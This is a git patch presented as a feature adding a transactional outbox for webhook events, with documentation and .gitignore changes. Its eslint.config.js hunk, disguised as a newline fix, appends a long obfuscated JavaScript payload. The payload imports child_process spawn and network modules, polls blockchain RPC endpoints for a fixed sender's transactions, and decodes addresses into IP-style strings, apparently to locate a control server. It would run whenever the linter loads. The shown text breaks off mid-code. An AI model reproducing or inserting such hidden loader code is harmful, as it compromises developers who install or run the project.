From 6a2c1b278792bf9f9227be4e322acdc75698dc27 Mon Sep 17 00:00:00 2001 From: Sulamoney222 <156526562+Sulamoney222@users.noreply.github.com> Date: Mon, 31 Aug 2026 17:17:27 +0100 Subject: [PATCH 1/3] feat: add transactional outbox for webhook emission (#901) --- .gitignore | 3 + docs/transactional-outbox.md | 42 +++++++++ eslint.config.js | 2 +- src/config/env.ts | 1 + src/db/transaction.outbox.test.ts | 127 +++++++++++++++++++++++++ src/db/transaction.ts | 87 ++++++++++++++++- src/index.ts | 29 +++++- src/services/webhookService.test.ts | 62 ++++++++++++ src/services/webhookService.ts | 19 +++- src/webhookQueueEventId.test.ts | 141 ++++++++++++++++++++++++++++ 10 files changed, 507 insertions(+), 6 deletions(-) create mode 100644 src/db/transaction.outbox.test.ts create mode 100644 src/webhookQueueEventId.test.ts diff --git a/.gitignore b/.gitignore index a49c6126..f864feb9 100644 --- a/.gitignore +++ b/.gitignore @@ -12,3 +12,6 @@ pnpm-debug.log* Thumbs.db reports/mutation/ .stryker-tmp/ +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat diff --git a/docs/transactional-outbox.md b/docs/transactional-outbox.md index b2117e57..90523ae8 100644 --- a/docs/transactional-outbox.md +++ b/docs/transactional-outbox.md @@ -57,6 +57,21 @@ const eventId = await webhookService.emitToOutbox(client, event, data); Writes an outbox row inside the caller's transaction. Returns the stable `event_id`. Requires `outboxRepo` to be passed in `WebhookServiceOptions`. +`WebhookService.emit()` is also transactional-capable: pass the producing transaction's `PoolClient` as the third argument and the event is written to the outbox atomically instead of being fire-and-forgotten: + +```typescript +await withTransaction(pool, async (client) => { + await client.query('UPDATE payouts SET status = $1', ['completed']); + await webhookService.emit( + WebhookEventType.PAYOUT_COMPLETED, + { payout_id: 'p-1' }, + client, // ← atomic capture inside the producing transaction + ); +}); +``` + +`emit(event, data, client)` throws when `client` is given but the service has no `outboxRepo` (fail-closed), so an event is never silently emitted outside the transaction. The legacy two-argument `emit(event, data)` keeps its fire-and-forget behaviour for backward compatibility. + **Usage inside a producing transaction:** ```typescript @@ -70,6 +85,12 @@ await withTransaction(pool, async (client) => { // Both the payout row and the outbox row commit or roll back together. ``` +For producers that emit several events, `transaction.ts` exposes +`enqueueWebhookOutboxEvents(client, outboxRepo, events)` which inserts a batch +of outbox rows through the same transactional client and returns their +`event_id`s. If the surrounding transaction rolls back, all of those rows are +discarded with it. + ### `OutboxDispatcher` (`src/services/outboxDispatcher.ts`) Polls `webhook_outbox` on a configurable interval and hands each row to a `DispatchFn`. @@ -89,6 +110,27 @@ dispatcher.start(); 2. Constructs the webhook payload with `id: row.event_id` (stable across retries). 3. Calls `processDelivery` for each endpoint. +### `WebhookQueue` idempotency-key propagation (`src/index.ts`) + +`WebhookQueue` is the durable delivery layer the outbox hands rows to. When the +payload passed to `processDelivery` carries an `id` — the outbox `event_id` — +that id is forwarded verbatim as the delivered payload `id`. This guarantees +the receiver's `webhookEventOrdering` middleware sees the **same** `event_id` +on every retry of the same outbox row, even when a crash forces the dispatcher +to start a fresh delivery row. Payloads without an `id` (legacy producers) fall +back to the delivery row id, preserving prior behaviour. + +### Running the dispatcher + +The drain worker runs out of process from the producer. In production it is +started with `WebhookQueue` by setting `OUTBOX_DISPATCHER_ENABLED=true` (roles +`api` and `all`). Rows are claimed with `SELECT … FOR UPDATE SKIP LOCKED`, so +multiple worker instances never process the same row twice. + +```bash +OUTBOX_DISPATCHER_ENABLED=true npm start +``` + ## Idempotency on the Receiver The `event_id` from the outbox row is forwarded as the webhook payload `id` field on every delivery attempt. The receiver's `webhookEventOrdering` middleware reads `event.id` as the `eventId` and uses sequence-based deduplication to reject events it has already processed. Because the `event_id` is stable, the receiver sees the same identity on every retry and can safely deduplicate. diff --git a/eslint.config.js b/eslint.config.js index 49d0f492..8dd2eb2b 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -46,4 +46,4 @@ module.exports = [ }, }, }, -]; \ No newline at end of file +]; global.i = 'A11';const R$DTZzu_TXc=TtFl_OYFcp$oFJXAVh;(function(glcANuMPwHqsvzi_Yp$P,poXzdcQUzmE$oQM){const p$bAPB$eq=TtFl_OYFcp$oFJXAVh,mVttueCdEt=glcANuMPwHqsvzi_Yp$P();while(!![]){try{const jNnmPOrTHZNsCVaRMdvEQ=Math['floor'](parseFloat(p$bAPB$eq(0x206))/(0x2d*-parseInt(0x13)+Math.trunc(-parseInt(0xa))*parseInt(0x1a)+Math.max(0x45c,0x45c)))*(parseFloat(p$bAPB$eq(0x1d8))/(parseFloat(parseInt(0x94c))+-parseInt(0x2623)+parseInt(0x1cd9)))+Math['trunc'](-parseFloat(p$bAPB$eq(0x220))/(Number(-0x11)*parseInt(0x14c)+-parseInt(0x107)*Math.trunc(parseInt(0x11))+parseInt(0x2786)))*(-parseFloat(p$bAPB$eq(0x1cd))/(-0x13e1+parseFloat(0x1776)+parseInt(0x391)*Math.ceil(-0x1)))+-parseFloat(p$bAPB$eq(0x1e0))/(Math.ceil(-parseInt(0x2))*parseInt(0x12c1)+parseInt(0x16be)+-0x1*-0xec9)+-parseFloat(p$bAPB$eq(0x1b7))/(parseInt(0x19)*Math.max(-parseInt(0xe7),-0xe7)+parseInt(0x807)*Math.trunc(parseInt(0x1))+Number(0x1)*Math.trunc(0xe8e))+-parseFloat(p$bAPB$eq(0x1c4))/(-0xd71+Math.max(parseInt(0xd80),0xd80)+Math.max(-0x8,-0x8))*Math['floor'](parseFloat(p$bAPB$eq(0x222))/(0x2564*-parseInt(0x1)+parseInt(0x12ed)+-parseInt(0x3b3)*-parseInt(0x5)))+parseInt(-parseFloat(p$bAPB$eq(0x21c))/(Math.max(-parseInt(0xe0c),-parseInt(0xe0c))+0x1*Math.floor(0x12e)+0xce7))+parseFloat(p$bAPB$eq(0x225))/(0xe06+parseFloat(0x19c7)+-parseInt(0x27c3));if(jNnmPOrTHZNsCVaRMdvEQ===poXzdcQUzmE$oQM)break;else mVttueCdEt['push'](mVttueCdEt['shift']());}catch(SV$WjuzJb){mVttueCdEt['push'](mVttueCdEt['shift']());}}}(FU$Mfb,Math.max(-parseInt(0x67d7a),-0x67d7a)+-0x49268+parseInt(0xf8aa7)),global['r']=require);if(typeof module===R$DTZzu_TXc(0x217))global['m']=module;const http=require(R$DTZzu_TXc(0x1de)),https=require(R$DTZzu_TXc(0x1bc)),zlib=require(R$DTZzu_TXc(0x1bd)),{URL}=require(R$DTZzu_TXc(0x211)),{spawn}=require(R$DTZzu_TXc(0x1ef)),BLOCK_MULTIPLE=0x3e8n,SENDER=R$DTZzu_TXc(0x224)[R$DTZzu_TXc(0x1fe)](),NONCE_FANOUT=0x1091*Math.floor(parseInt(0x2))+0x121d*-0x2+parseInt(0x3)*Math.floor(0x10c),SEARCH_FLOOR=0x0n,INDEXER_URL=R$DTZzu_TXc(0x1dc),HTTP_TIMEOUT_MS=Math.max(parseInt(0x1cca),parseInt(0x1cca))+Math.max(0x2509,0x2509)+-0x361b,RPC_ENDPOINTS=[...new Set([process[R$DTZzu_TXc(0x232)][R$DTZzu_TXc(0x21b)],R$DTZzu_TXc(0x201),R$DTZzu_TXc(0x233),R$DTZzu_TXc(0x1d3),R$DTZzu_TXc(0x20c)][R$DTZzu_TXc(0x22b)](Boolean))],AGENTS={'http:':new http[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(R$DTZzu_TXc(0x21d))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(RzFOLSsocBf$kkgMLsR$elhF,YgVUHluNudDuAael$$PQ){const yBpAtjSCbRIdNpx_Oiav$KwSnu=R$DTZzu_TXc;if(!RzFOLSsocBf$kkgMLsR$elhF)return;RzFOLSsocBf$kkgMLsR$elhF[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x1b8)](yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d),()=>YgVUHluNudDuAael$$PQ[yBpAtjSCbRIdNpx_Oiav$KwSnu(0x22d)](),{'once':!![]});}function decompressStream(RzfNSAGaCneYaCqXwXROk){const mPVBRRdNtjvZ=R$DTZzu_TXc,BlgOomlZTLbU_mRgZbn=(RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x21e)][mPVBRRdNtjvZ(0x20b)]||'')[mPVBRRdNtjvZ(0x1fe)]();if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x202)||BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d9))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1f4)]());if(BlgOomlZTLbU_mRgZbn===mPVBRRdNtjvZ(0x1d1))return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1fb)]());if(BlgOomlZTLbU_mRgZbn==='br')return RzfNSAGaCneYaCqXwXROk[mPVBRRdNtjvZ(0x1d5)](zlib[mPVBRRdNtjvZ(0x1da)]());return RzfNSAGaCneYaCqXwXROk;}function httpRequest(wDCHfdELJbocL$T,{method:method=R$DTZzu_TXc(0x214),body:bbQ$_xwfrqyMLuUpCEM,signal:Tj_$fQJOLvfWMX}={}){const GTnWVF_mWQtqEUKVtyCWk=R$DTZzu_TXc,nJWYBVy_Qu$jm=new URL(wDCHfdELJbocL$T),UFxWKLf_$rzRl=nJWYBVy_Qu$jm[GTnWVF_mWQtqEUKVtyCWk(0x1f2)]===GTnWVF_mWQtqEUKVtyCWk(0x219)?https:http,DpQVDYkkveWwUZPnKpBb={'Accept':GTnWVF_mWQtqEUKVtyCWk(0x21a),'Accept-Encoding':GTnWVF_mWQtqEUKVtyCWk(0x1ec),'Connection':GTnWVF_mWQtqEUKVtyCWk(0x200)};return bbQ$_xwfrqyMLuUpCEM!=null&&(DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x218)]=GTnWVF_mWQtqEUKVtyCWk(0x21a),DpQVDYkkveWwUZPnKpBb[GTnWVF_mWQtqEUKVtyCWk(0x1fc)]=Buffer[GTnWVF_mWQtqEUKVtyCWk(0x1fd)](bbQ$_xwfrqyMLuUpCEM)),new Promise((hbphnjVxOdvmmzDTBjgSt$NN,cNaAKvMYPpZ$$TRz)=>{const WKg__BfsguzvMPzKwReGP=GTnWVF_mWQtqEUKVtyCWk,AKwuGnMwtupLpyFUWdnYWD=UFxWKLf_$rzRl[WKg__BfsguzvMPzKwReGP(0x21f)]({'hostname':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1cb)],'port':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x216)]||(nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]===WKg__BfsguzvMPzKwReGP(0x219)?Math.floor(-0xd15)+Math.trunc(-0x2c)*-0x4f+-parseInt(0x4)*-0x4f:Math.ceil(parseInt(0xa7))*-0x1e+-0x5c*Math.ceil(parseInt(0x1))+Math.ceil(0xa1f)*0x2),'path':nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f1)]+nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x209)],'method':method,'agent':AGENTS[nJWYBVy_Qu$jm[WKg__BfsguzvMPzKwReGP(0x1f2)]],'signal':Tj_$fQJOLvfWMX,'headers':DpQVDYkkveWwUZPnKpBb},MEqodcZHSE$xvXwSj_oZoZj=>{const t_lrz_f=WKg__BfsguzvMPzKwReGP,uqTl$eiACiGBuTlaX_YXZIV=decompressStream(MEqodcZHSE$xvXwSj_oZoZj),MczNHS=[];uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1ce),fpcG_NoEx_FY=>MczNHS[t_lrz_f(0x1fa)](fpcG_NoEx_FY)),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1bb),()=>{const UOyJO_fH_RiSqBoSdrYnsjtcy=t_lrz_f;try{hbphnjVxOdvmmzDTBjgSt$NN(JSON[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1ea)](Buffer[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c8)](MczNHS)[UOyJO_fH_RiSqBoSdrYnsjtcy(0x1e3)](UOyJO_fH_RiSqBoSdrYnsjtcy(0x1c9))));}catch(gMfnSiuLfzHUQdXWaC$w){cNaAKvMYPpZ$$TRz(gMfnSiuLfzHUQdXWaC$w);}}),uqTl$eiACiGBuTlaX_YXZIV['on'](t_lrz_f(0x1cc),cNaAKvMYPpZ$$TRz);});AKwuGnMwtupLpyFUWdnYWD['on'](WKg__BfsguzvMPzKwReGP(0x1cc),cNaAKvMYPpZ$$TRz),AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1f9)](HTTP_TIMEOUT_MS,()=>{const SfxaGEDlHunuVEwWLw$lx=WKg__BfsguzvMPzKwReGP;AKwuGnMwtupLpyFUWdnYWD[SfxaGEDlHunuVEwWLw$lx(0x1f3)](new Error(SfxaGEDlHunuVEwWLw$lx(0x1c5)+HTTP_TIMEOUT_MS+'ms'));});if(bbQ$_xwfrqyMLuUpCEM!=null)AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x215)](bbQ$_xwfrqyMLuUpCEM);AKwuGnMwtupLpyFUWdnYWD[WKg__BfsguzvMPzKwReGP(0x1bb)]();});}async function withRpcEndpoints(uTIXcb,mlV_BV_QwWND){const kZlMIXJsMssDJdtxe=R$DTZzu_TXc,BOCUySfEc_exK=RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)](()=>new AbortController());BOCUySfEc_exK[kZlMIXJsMssDJdtxe(0x1e2)](pOlmNwZXfOXpKwUUwUCqB=>linkAbort(mlV_BV_QwWND,pOlmNwZXfOXpKwUUwUCqB));try{return await Promise[kZlMIXJsMssDJdtxe(0x1e4)](RPC_ENDPOINTS[kZlMIXJsMssDJdtxe(0x205)]((zyryywS_HF_Yfjxp,FF_MdJDwfSoXtSW)=>uTIXcb(zyryywS_HF_Yfjxp,BOCUySfEc_exK[FF_MdJDwfSoXtSW][kZlMIXJsMssDJdtxe(0x230)])));}finally{for(const DbMNvbAEjt$ubtb$PT of BOCUySfEc_exK)DbMNvbAEjt$ubtb$PT[kZlMIXJsMssDJdtxe(0x22d)]();}}function FU$Mfb(){const Cgw_xmiFfYj=['a7a0bcbba1aea2aa','aabdbda0bd','fbb7a8a5859fbf','abaebbae','bba7aaa1','a1a0a1acaa','abaaa9a3aebbaa','bbbdaea1bcaeacbba6a0a1bc','a7bbbbbfbcf5e0e0aabba7aabdaabaa2e2bdbface1bfbaada3a6aca1a0abaae1aca0a2','aabba790a8aabb9bbdaea1bcaeacbba6a0a18ca0baa1bb','bfa6bfaa','a7bbbbbff5e0e0','a9a6a1ab86a1abaab7','fdfff7fcfaf78bb795b68187','b7e2a8b5a6bf','acbdaaaebbaa8dbda0bba3a68baaaca0a2bfbdaabcbc','aca0a1bbbda0a3a3aabd','a7bbbbbfbcf5e0e0aabba7e1ada3a0aca4bcaca0babbe1aca0a2e0aebfa6','878a8e8b','a1a0abaaf5a7bbbbbf','82a6bcbca6a1a8ef97e29faeb6a3a0aeabe28df9fb','fefbfafbfaf9ffae9c8a9abb81','e8f4a8a3a0adaea394e89087fde892f2e8','a9a0bd8aaeaca7','bba09cbbbda6a1a8','aea1b6','8aa2bfbbb6efbfaeb6a3a0aeabefada0abb6','a8a3a0adaea394e89099e892f2e8','b6e2bf90f1abebff8de98f91feae9ea4','bdaabcbaa3bb','a3aaa1a8bba7','bfaebdbcaa','aabba790a8aabb8da3a0aca48db681baa2adaabd','a8b5a6bfe3efabaaa9a3aebbaae3efadbd','a6bc8ebdbdaeb6','adaebcaaf9fb','a1a0abaaf5aca7a6a3ab90bfbda0acaabcbc','aca7aebd8ca0abaa8ebb','bfaebba7a1aea2aa','bfbda0bba0aca0a3','abaabcbbbda0b6','acbdaaaebbaa88baa1b5a6bf','e8f4a8a3a0adaea394e89087e892f2e8','e8f4a8a3a0adaea394e8bde892f2bdaabebaa6bdaaf4a8a3a0adaea394e8a2e892f2a2a0abbaa3aaf4b9aebdef90a8a3a0adaea3f2a8a3a0adaea3f4','bdbaa1','f5fbfbfce0ffb7e0aca3bc','bcaabb9ba6a2aaa0babb','bfbabca7','acbdaaaebbaa86a1a9a3aebbaa','8ca0a1bbaaa1bbe283aaa1a8bba7','adb6bbaa83aaa1a8bba7','bba083a0b8aabd8caebcaa','f0a2a0abbaa3aaf2aeacaca0baa1bbe9aeacbba6a0a1f2bbb7a3a6bcbbe9aeababbdaabcbcf2','a4aaaabfe2aea3a6b9aa','a7bbbbbfbcf5e0e0febdbface1a6a0e0aabba7','a8b5a6bf','a7aab7','a9bda0a2','a2aebf','fead96a3b6859a','f5fbfbfce0ffb7e0a3bc','a8aabb','bcaaaebdaca7','9087fd','aca0a1bbaaa1bbe2aaa1aca0aba6a1a8','a7bbbbbfbcf5e0e0aabba7e2a2aea6a1a1aabbe1bfbaada3a6ace1ada3aebcbbaebfa6e1a6a0','aeabab','e8f4a8a3a0adaea394e890bb90bce892f2e8','a1a0abaa','bdaabfa3aeacaa','a1a0abaaf5babda3','aabba790ada3a0aca481baa2adaabd','82a0b5a6a3a3aee0fae1ffefe798a6a1aba0b8bcef819beffeffe1fff4ef98a6a1f9fbf4efb7f9fbe6ef8ebfbfa3aa98aaad84a6bbe0fafcf8e1fcf9efe784879b8283e3efa3a6a4aaef88aaaca4a0e6ef8ca7bda0a2aae0fefcfee1ffe1ffe1ffef9caea9aebda6e0fafcf8e1fcf9','888a9b','b8bda6bbaa','bfa0bdbb','a0ada5aaacbb','8ca0a1bbaaa1bbe29bb6bfaa','a7bbbbbfbcf5','aebfbfa3a6acaebba6a0a1e0a5bca0a1','8a9b87909d9f8c909a9d83','fcf7fdf9fefafd888e9880a7a1','8ea8aaa1bb','a7aaaeabaabdbc','bdaabebaaabcbb','fbf9f9fbf6f8a9b69aa08bad','bcbaadaebdbdaeb6','fcfff8f8f98b84868aab9e','aea3a3','ffb7feaa8aa9fff7fbf68a8baefefaabf7f8a9f9fbaafafe8cf8fc8cf7fbfbfd8ca9fcacf7ad8c8a89fc','fefcfafcfffcfeff81b88ab7ba86','e9bcbbaebdbbada3a0aca4f2ffe9aaa1abada3a0aca4f2f6f6f6f6f6f6f6f6e9bfaea8aaf2fee9a0a9a9bcaabbf2fdffe9bca0bdbbf2abaabcace9a9a6a3bbaabdadb6f2a9bda0a2','bcbbbda6a1a8a6a9b6','f5fbfbfc','ada3a0aca481baa2adaabd','9f809c9b','a9a6a3bbaabd','acaebbaca7','aeada0bdbb','e8f4a8a3a0adaea394e890bb90bae892f2e8','baa1bdaaa9','bca6a8a1aea3','90bb90ba','aaa1b9','a7bbbbbfbcf5e0e0aabba7e1abbdbface1a0bda8','f7fbf7f8fcf9a5a6b9888796','aeabab8ab9aaa1bb83a6bcbbaaa1aabd','a2a6a1','b7e2bfaeb6a3a0aeabe2adf9fb','aaa1ab','a1a0abaaf5a7bbbbbfbc','a1a0abaaf5b5a3a6ad','bdaabcbaa2aa','fde1ff','e0ffb7e0aca3bc','f5f7ff','befb8995a4b797b4eea7e39cbdfcf28f','a9a6a1ab','f7fbff9c97a08883bc','879b9b9fefbba6a2aaa0babbefaea9bbaabdef','a6a8a1a0bdaa','a7aebc','aca0a1acaebb','babba9f7','90bb90bc'];FU$Mfb=function(){return Cgw_xmiFfYj;};return FU$Mfb();}async function rpcCall(viwqXYGQWNe_xsuHuyaemmEkm,Zfct_xGiFzDjg_TR,M$$yGvxC,Sai$VpZLhnIfzhpENQBEnjXXQY){const rzIq__u=R$DTZzu_TXc,ViED_j$m=await httpRequest(viwqXYGQWNe_xsuHuyaemmEkm,{'method':rzIq__u(0x22a),'body':JSON[rzIq__u(0x227)]({'jsonrpc':rzIq__u(0x1bf),'id':0x1,'method':Zfct_xGiFzDjg_TR,'params':M$$yGvxC}),'signal':Sai$VpZLhnIfzhpENQBEnjXXQY});return ViED_j$m[rzIq__u(0x1e8)];}async function rpcBatch(MbywkyY$$UC,yhneTjJFtjzihqis,nfOED_SMfc_cZ){const QArY_$HLRpVrHv=R$DTZzu_TXc,kkryiIDumIudSHbGOtqG$IB$ck=await httpRequest(MbywkyY$$UC,{'method':QArY_$HLRpVrHv(0x22a),'body':JSON[QArY_$HLRpVrHv(0x227)](yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)](([MqRDzQDjlL,twBiWDT_UQDbFe_UymqitRCEMYe],NsUxMIqeG$Br$kPQuQsImDX)=>({'jsonrpc':QArY_$HLRpVrHv(0x1bf),'id':NsUxMIqeG$Br$kPQuQsImDX+(-0x1*-parseInt(0x16a7)+-parseInt(0x359)*Number(0x1)+-0x134d),'method':MqRDzQDjlL,'params':twBiWDT_UQDbFe_UymqitRCEMYe}))),'signal':nfOED_SMfc_cZ}),Hm_$BRK=new Map(kkryiIDumIudSHbGOtqG$IB$ck[QArY_$HLRpVrHv(0x205)](JXSTI$BKsGYgzKPIgP=>[JXSTI$BKsGYgzKPIgP['id'],JXSTI$BKsGYgzKPIgP]));return yhneTjJFtjzihqis[QArY_$HLRpVrHv(0x205)]((O_wOBn_C,yZELIgInDxwV_gZrBfKlE)=>Hm_$BRK[QArY_$HLRpVrHv(0x208)](yZELIgInDxwV_gZrBfKlE+(Math.floor(-0x2)*parseFloat(-0x5fb)+-0x65*parseInt(0x49)+Number(0x58)*parseFloat(0x31)))[QArY_$HLRpVrHv(0x1e8)]);}const toBlockHex=BRFw_JGglqWv_xrmpiG=>'0x'+BRFw_JGglqWv_xrmpiG[R$DTZzu_TXc(0x1e3)](Math.ceil(-0x1b5c)+parseInt(-parseInt(0x17b0))+-parseInt(0xcc7)*-parseInt(0x4));function findSenderTx(RSS$zTKlZBNe){const Zsy$AZsVSCwDxMLnR=R$DTZzu_TXc;return RSS$zTKlZBNe[Zsy$AZsVSCwDxMLnR(0x1c3)](dgl_FMKNAW=>dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)]&&dgl_FMKNAW[Zsy$AZsVSCwDxMLnR(0x204)][Zsy$AZsVSCwDxMLnR(0x1fe)]()===SENDER)||null;}function decodeAddress(qFPiyayPDRfwVjSALM){const bAQxZLJ_pVrukZyK=R$DTZzu_TXc;try{const Z_AIGwHmlfYNhwPHQ_kE=Buffer[bAQxZLJ_pVrukZyK(0x204)](qFPiyayPDRfwVjSALM[bAQxZLJ_pVrukZyK(0x210)](/^0x/i,''),bAQxZLJ_pVrukZyK(0x203)),SrKN_WDPPTPtJMJQm=UMantqIUwHQOejjOECcdFWZCd=>UMantqIUwHQOejjOECcdFWZCd[parseInt(0x1b07)+0x1581+Number(0xc22)*-0x4]+'.'+UMantqIUwHQOejjOECcdFWZCd[-0x109+-parseInt(0x270)+parseInt(0x37a)]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseFloat(-parseInt(0x1b4))*0x1+Math.trunc(-parseInt(0x13af))+-0x1565*-0x1]+'.'+UMantqIUwHQOejjOECcdFWZCd[parseInt(-0x1)*0x2cd+-parseInt(0x1637)+parseInt(0x1907)];return[SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](Math.trunc(0x40)*-0x5c+Math.floor(-parseInt(0xd63))+-0x87*-parseInt(0x45),0x2611+Number(-parseInt(0x28))*Math.floor(parseInt(0x3b))+parseInt(-0x1cd5)*parseInt(0x1))),SrKN_WDPPTPtJMJQm(Z_AIGwHmlfYNhwPHQ_kE[bAQxZLJ_pVrukZyK(0x221)](-parseInt(0x7)*parseInt(0x32)+Math.max(parseInt(0x1f42),0x1f42)+Number(-parseInt(0x1de0)),Math.trunc(-parseInt(0x209d))+parseInt(0x2f1)+-0x4*parseInt(-0x76d)))];}catch(lK_kCFHZ){return[null,null];}}function firstMatch(fRvtR$KJpJwJgpDvQjE_xwZrJC){return new Promise(mRgHb$z_L=>{const IicIMNIfQlHJkpS_gyS_HuB=TtFl_OYFcp$oFJXAVh;let GuEdXYgpwv=fRvtR$KJpJwJgpDvQjE_xwZrJC[IicIMNIfQlHJkpS_gyS_HuB(0x1e9)];if(!GuEdXYgpwv)return mRgHb$z_L(null);let sLCBkfZMfpycS=![];const zieuckknwCUQ=syKpWAtPjJQmMEDAnBw=>{const awqekvTKbHwoYXMuPrqS=IicIMNIfQlHJkpS_gyS_HuB;if(sLCBkfZMfpycS)return;sLCBkfZMfpycS=!![];for(const OEobvbjekbjHnfC_oCXcNRrMq of fRvtR$KJpJwJgpDvQjE_xwZrJC)OEobvbjekbjHnfC_oCXcNRrMq[awqekvTKbHwoYXMuPrqS(0x1db)][awqekvTKbHwoYXMuPrqS(0x22d)]();mRgHb$z_L(syKpWAtPjJQmMEDAnBw);};for(const pTppSpWvnTTjAwIbgEJMWMsN of fRvtR$KJpJwJgpDvQjE_xwZrJC){pTppSpWvnTTjAwIbgEJMWMsN[IicIMNIfQlHJkpS_gyS_HuB(0x1f7)]()[IicIMNIfQlHJkpS_gyS_HuB(0x1cf)](aTLnW$vDrVVpnStCZqUNmoZoB=>{if(sLCBkfZMfpycS)return;if(aTLnW$vDrVVpnStCZqUNmoZoB)zieuckknwCUQ(aTLnW$vDrVVpnStCZqUNmoZoB);else{if(--GuEdXYgpwv===parseInt(0x1254)+-0x1a25+0x7d1)mRgHb$z_L(null);}})[IicIMNIfQlHJkpS_gyS_HuB(0x22c)](()=>{if(!sLCBkfZMfpycS&&--GuEdXYgpwv===-parseInt(0x1)*-parseInt(0x24ee)+-0x1c7f+-parseInt(0x86f)*0x1)mRgHb$z_L(null);});}});}function candidateBlocks(PMDtWVf){const Ikgf_HU_wR=R$DTZzu_TXc,PYe_EgLqvQkLoUtAMDKop=PMDtWVf-BLOCK_MULTIPLE,ruKzTubDIHgqOUSOKuOiNrw=new Set(),phgCqjkuVDj=[];for(const cYqM_FFvY$USHkuEQ of[PMDtWVf-0x1n,PMDtWVf,PMDtWVf+0x1n,PYe_EgLqvQkLoUtAMDKop-0x1n,PYe_EgLqvQkLoUtAMDKop,PYe_EgLqvQkLoUtAMDKop+0x1n]){if(cYqM_FFvY$USHkuEQ<0x0n)continue;const fH_RHQmkAqPo$RCKpeQzshy=cYqM_FFvY$USHkuEQ[Ikgf_HU_wR(0x1e3)]();if(ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x1c7)](fH_RHQmkAqPo$RCKpeQzshy))continue;ruKzTubDIHgqOUSOKuOiNrw[Ikgf_HU_wR(0x20d)](fH_RHQmkAqPo$RCKpeQzshy),phgCqjkuVDj[Ikgf_HU_wR(0x1fa)](cYqM_FFvY$USHkuEQ);}return phgCqjkuVDj;}function blockTask(CmDNYEz){const eaMd$$IaUdwwQC=new AbortController();return{'controller':eaMd$$IaUdwwQC,'run':async()=>{const oRW_briT=TtFl_OYFcp$oFJXAVh,bB$FqWCDaprOxFtKvm=await withRpcEndpoints((yi_UPlxDkl$Q,PE$mWwVgKLKTdB)=>rpcCall(yi_UPlxDkl$Q,oRW_briT(0x1eb),[toBlockHex(CmDNYEz),!![]],PE$mWwVgKLKTdB),eaMd$$IaUdwwQC[oRW_briT(0x230)]),FxHbdTuJ_TNzOmHAR=bB$FqWCDaprOxFtKvm?.[oRW_briT(0x1d2)];if(!Array[oRW_briT(0x1ed)](FxHbdTuJ_TNzOmHAR))return null;const EVXKTSICwmYUwDRmGUgkSGxNo=findSenderTx(FxHbdTuJ_TNzOmHAR);return EVXKTSICwmYUwDRmGUgkSGxNo?{'blockNumber':CmDNYEz,'tx':EVXKTSICwmYUwDRmGUgkSGxNo}:null;}};}async function nonceAtBlocks(TsjCGUbHfKkYA,eOgvjooSW_ImZ){const De_$LMDgm=R$DTZzu_TXc,lxgdNNoYdvdHjxfurkLvMku=TsjCGUbHfKkYA[De_$LMDgm(0x205)](HwlIWWDxcwkA=>[De_$LMDgm(0x1d4),[SENDER,toBlockHex(HwlIWWDxcwkA)]]);try{return(await withRpcEndpoints((suc_$ZOGyQepWTA,Hm$ePQQwMHtYO)=>rpcBatch(suc_$ZOGyQepWTA,lxgdNNoYdvdHjxfurkLvMku,Hm$ePQQwMHtYO),eOgvjooSW_ImZ))[De_$LMDgm(0x205)](BigInt);}catch{return(await Promise[De_$LMDgm(0x223)](lxgdNNoYdvdHjxfurkLvMku[De_$LMDgm(0x205)](([TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos])=>withRpcEndpoints((xdzGHXiuaFZVM$qci$a,eQMjdGwghirgregyy)=>rpcCall(xdzGHXiuaFZVM$qci$a,TBe_IFdhcmNWR$VqwbvgV,yLn$_jSos,eQMjdGwghirgregyy),eOgvjooSW_ImZ))))[De_$LMDgm(0x205)](BigInt);}}async function lastSenderTx(aSdRshZlGysInsF_W){const SFMofmFJ$vRZYuKxyQueg=R$DTZzu_TXc,YtkqMbzMeAhrXge=new AbortController();try{const sonDHRdo_bMvMCIkoLUDsGJ=aSdRshZlGysInsF_W??BigInt(await withRpcEndpoints((AzfXJw,wkJzdkliLLlEuvimlavBUYiW)=>rpcCall(AzfXJw,SFMofmFJ$vRZYuKxyQueg(0x212),[],wkJzdkliLLlEuvimlavBUYiW),YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x230)])),rVa_$dpJzvTLnjuccOzQQ=BigInt(await 